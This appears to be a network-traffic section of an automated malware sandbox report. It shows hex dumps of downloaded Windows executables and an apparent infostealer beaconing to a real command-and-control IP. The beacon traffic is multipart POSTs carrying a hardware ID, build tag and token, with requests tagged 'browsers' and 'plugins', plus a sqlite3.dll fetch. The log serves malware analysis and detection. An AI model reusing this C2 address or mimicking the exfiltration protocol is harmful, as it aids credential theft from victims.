00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 05:27:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 05:27:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 05:27:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 05:27:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 05:27:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 33 41 39 35 39 41 30 36 34 44 31 37 37 39 35 32 35 32 35 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="hwid"713A959A064D1779525253------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build"tale------DGCBAFIJDGHCAKECAEGC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJEGIIEGIDGIDHJDAKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 45 47 49 49 45 47 49 44 47 49 44 48 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 45 47 49 49 45 47 49 44 47 49 44 48 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 45 47 49 49 45 47 49 44 47 49 44 48 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------FHJEGIIEGIDGIDHJDAKFContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------FHJEGIIEGIDGIDHJDAKFContent-Disposition: form-data; name="message"browsers------FHJEGIIEGIDGIDHJDAKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="message"plugins------EGDGIIJJECFIDHJJKKFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="message"fplugins------KECBGCGCGIEGCBFHIIEB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 185.215.113.206Content-Length: 6615Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFBHost: 185.215.113.206Content-Length: 2831Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
